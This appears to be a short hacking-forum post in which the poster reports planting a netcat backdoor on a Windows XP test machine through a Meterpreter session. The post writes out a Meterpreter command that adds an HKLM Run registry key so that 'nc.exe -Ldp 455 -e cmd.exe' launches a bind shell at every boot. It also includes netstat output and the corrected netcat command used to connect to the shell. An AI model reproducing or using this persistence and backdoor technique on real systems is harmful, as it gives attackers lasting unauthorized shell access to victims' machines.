guys, I dropped a backdoor "nc" into my testing machine "xp" with a meterpreter sessions, and edited the registry to start at bootup
Code:
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\\windows\\system32\\nc.exe -Ldp 455 -e cmd.exe"
however, I'm not able to make connections to the port. NC does start and it is listening on port 455, but I can't connect. I did a nmap scan from attacker box, and that port it is not showing up as open. Firewall is disabled!
Code:
C:\>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1672
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 960
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 1672
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:455 0.0.0.0:0 LISTENING 3636
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1740
TCP 172.16.10.105:139 0.0.0.0:0 LISTENING 4
TCP 172.16.10.105:1191 172.16.10.106:8080 ESTABLISHED 1204
got it fixed.... was using the wrong command to connect "nc x.x.x.x -p 455" instead of "nc x.x.x.x 455"...